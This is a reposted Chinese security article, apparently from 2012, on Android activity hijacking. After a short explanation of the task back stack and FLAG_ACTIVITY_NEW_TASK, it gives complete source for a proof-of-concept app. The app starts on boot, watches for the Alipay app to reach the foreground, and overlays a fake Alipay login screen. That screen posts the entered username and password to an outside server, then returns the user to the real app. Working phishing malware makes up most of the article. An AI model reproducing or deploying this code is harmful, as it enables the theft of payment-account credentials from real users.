网络空间安全:行业资讯、技术分享、法规研讨、趋势分析……

“游侠安全网”创建了网络安全从业者QQ大群(群号:1255197) ,欢迎各位同仁加入!有其它问题如合作等,请联系站长“网路游侠”,QQ:55984512


Android安全——Activity劫持 转载

2012-02-17 14:59 推荐: 浏览: 87 views 字号:

摘要: 一、activity劫持简介DEFCON-19上公布的,原文见https://www.trustwave.com/spiderlabs/advisories/TWSL2011-008.txt android运行时,会在很多activity中进行切换,它自身维护...

一、activity劫持简介
DEFCON-19上公布的,原文见
https://www.trustwave.com/spiderlabs/advisories/TWSL2011-008.txt

android运行时,会在很多activity中进行切换,它自身维护着一个activity的历史栈,用于在用户点击back时,恢复前一个activity,栈顶指向当前显示的activity。

原文如下:

http://developer.android.com/guide/topics/fundamentals/tasks-and-back-stack.html

在我们使用intent开启activity时,intent有一个选项FLAG_ACTIVITY_NEW_TASK,可以使得这个activity位于栈顶

http://developer.android.com/reference/android/content/Intent.html#FLAG_ACTIVITY_NEW_TASK

如果我们注册一个receiver,响应android.intent.action.BOOT_COMPLETED,使得开启启动一个service;这个service,会启动一个计时器,不停枚举当前进程中是否有预设的进程启动,如果发现有预设进程,则使用FLAG_ACTIVITY_NEW_TASK启动自己的钓鱼界面,截获正常应用的登录凭证。

二、实例
androidmanifest.xml

<?xml version="1.0" encoding="utf-8"?> 
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="com.xiaod.Hijack"
      android:versionCode="1"
      android:versionName="1.0"> 
    <uses-sdk android:minSdkVersion="3" /> 
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"></uses-permission> 
    <uses-permission android:name="android.permission.INTERNET" /> 
    <application android:icon="@drawable/icon" android:label="@string/app_name" android:name=".HijackApplication"> 
        <activity android:name=".HijackActivity"
                  android:label="@string/app_name"> 
            <intent-filter> 
                <action android:name="android.intent.action.MAIN" /> 
                <category android:name="android.intent.category.LAUNCHER" /> 
            </intent-filter> 
        </activity> 
        <activity android:name=".AlipayLogin" android:noHistory="true" android:windowSoftInputMode="adjustResize"/> 
       <service android:name=".HijackService" android:label="Hijack Service"> 
            <intent-filter> 
                <action android:name="com.xiaod.Hijack.service.Hijack" /> 
            </intent-filter> 
        </service> 
        <receiver
        android:name=".HijackReceiver"
        android:enabled="true"
        android:exported="true"
        android:label="Hijack Receiver"> 
            <intent-filter> 
                <action android:name="android.intent.action.BOOT_COMPLETED" /> 
            </intent-filter> 
        </receiver> 
    </application> 
</manifest>

HijackReceiver.java 用于开机启动HijackService

package com.xiaod.Hijack; 
  
import android.content.BroadcastReceiver; 
import android.content.Context; 
import android.content.Intent; 
import android.util.Log; 
  
public class HijackReceiver extends BroadcastReceiver{ 
  
    @Override
    public void onReceive(Context context, Intent intent) { 
        if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) { 
            Intent serviceIntent = new Intent(context, HijackService.class); 
            context.startService(serviceIntent); 
        } 
    } 
}

HijackService.java用于判断正常应用是否启动,如果启动则开启劫持activity

package com.xiaod.Hijack; 
  
import java.util.HashMap; 
import java.util.List; 
import java.util.Timer; 
import java.util.TimerTask; 
  
import android.app.ActivityManager; 
import android.app.ActivityManager.RunningAppProcessInfo; 
import android.app.Service; 
import android.content.Context; 
import android.content.Intent; 
import android.os.IBinder; 
import android.util.Log; 
  
public class HijackService extends Service{ 
    Timer mTimer = new Timer(); 
    
//新建一个定时任务 
    TimerTask mTimerTask = new TimerTask() { 
        @Override
        public void run() { 
            
// TODO Auto-generated method stub 
            
//获取当前运行的进程列表 
            ActivityManager activityManager = (ActivityManager) getSystemService( Context.ACTIVITY_SERVICE ); 
            List<RunningAppProcessInfo> appProcesses = activityManager.getRunningAppProcesses(); 
  
            
//枚举进程 
            for(RunningAppProcess
Info appProcess : appProcesses) { 
                
//如果APP在前台 
                if (appProcess.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) { 
                    
//APP是否在需要劫持的列表中 
                    if (mVictims.containsKey(appProcess.processName)) { 
                        if(((HijackApplication)getApplication()).getHasHijackStart() == false) 
                        { 
                            Intent dialogIntent = new Intent(getBaseContext(), mVictims.get(appProcess.processName)); 
                            
//设置启动的activity位于栈顶 
                            dialogIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); 
                            getApplication().startActivity(dialogIntent); 
                            ((HijackApplication)getApplication()).setHasHijackStart(true); 
                        } 
                    } 
                } 
            } 
            Log.e("HijackService_TimerTask", "here"); 
        } 
  
    }; 
    HashMap<String,Class<?>> mVictims = new HashMap<String,Class<?>>(); 
    long delay = 1000; 
    long period = 1000; 
  
    @Override
    public void onStart(Intent intent, int startid) { 
  
        
//设置需要劫持的应用 
        mVictims.put("com.eg.android.AlipayGphone", AlipayLogin.class); 
        
//开启计时任务 
        mTimer.scheduleAtFixedRate(mTimerTask, delay, period); 
    } 
  
    @Override
    public IBinder onBind(Intent arg0) { 
        
// TODO Auto-generated method stub 
        return null; 
    } 
}

AlipayLogin.java 是伪造的界面,用于获取用户凭证并发送到指定地址,并返回正常应用

package com.xiaod.Hijack; 
  
import java.util.ArrayList; 
import java.util.List; 
  
import org.apache.http.HttpResponse; 
import org.apache.http.NameValuePair; 
import org.apache.http.client.entity.UrlEncodedFormEntity; 
import org.apache.http.client.methods.HttpPost; 
import org.apache.http.impl.client.DefaultHttpClient; 
import org.apache.http.message.BasicNameValuePair; 
import org.apache.http.protocol.HTTP; 
  
import android.app.Activity; 
import android.os.Bundle; 
import android.view.View; 
import android.view.View.OnClickListener; 
import android.view.Window; 
import android.widget.Button; 
import android.widget.EditText; 
  
public class AlipayLogin extends Activity { 
    private Button mBtnLogin; 
    private Button mBtnReg; 
    private EditText mEdtUser; 
    private EditText mEdtPwd; 
    @Override
    public void onCreate(Bundle savedInstanceState) { 
        super.onCreate(savedInstanceState); 
        requestWindowFeature(Window.FEATURE_NO_TITLE); 
        setContentView(R.layout.alipay_login);        
  
        mBtnLogin = (Button) findViewById(R.id.btn_login); 
        mBtnReg = (Button) findViewById(R.id.btn_reg); 
        mEdtUser = (EditText) findViewById(R.id.et_user); 
        mEdtPwd = (EditText) findViewById(R.id.et_pwd); 
  
        mBtnLogin.setOnClickListener(new OnClickListener() { 
  
            @Override
            public void onClick(View v) { 
                
// TODO Auto-generated method stub 
                sendInfo(mEdtUser.getText().toString(), mEdtPwd.getText().toString()); 
                moveTaskToBack(true); 
            } 
  
        }); 
  
        mBtnReg.setOnClickListener(new OnClickListener() { 
  
            @Override
            public void onClick(V
iew v) { 
                
// TODO Auto-generated method stub 
                sendInfo(mEdtUser.getText().toString(), mEdtPwd.getText().toString()); 
                moveTaskToBack(true); 
            } 
  
        }); 
    } 
    public void onBackPressed() { 
        moveTaskToBack(true); 
    } 
  
    private boolean sendInfo(String user, String pwd) { 
        HttpPost request = new HttpPost("http://www.sectop.com/Hijack.php"); 
        List<NameValuePair> params = new ArrayList<NameValuePair>(); 
        params.add(new BasicNameValuePair("user", user)); 
        params.add(new BasicNameValuePair("pwd", pwd)); 
  
        try { 
            request.setEntity(new UrlEncodedFormEntity(params, HTTP.UTF_8)); 
            HttpResponse response = new DefaultHttpClient().execute(request); 
            if(response.getStatusLine().getStatusCode() == 200) { 
                return true; 
            } 
            else { 
                return false; 
            } 
        } catch (Exception e) { 
        } 
        return false; 
    } 
}

演示效果如下:

启动正常应用

这时恶意的后台service启动了伪造的activity

当用户输入凭证之后

恶意activity记录下凭证,并跳回到正常应用

在远端服务器已经记录下了用户凭证

原文:http://www.sectop.com/?p=242

联系站长租广告位!

中国首席信息安全官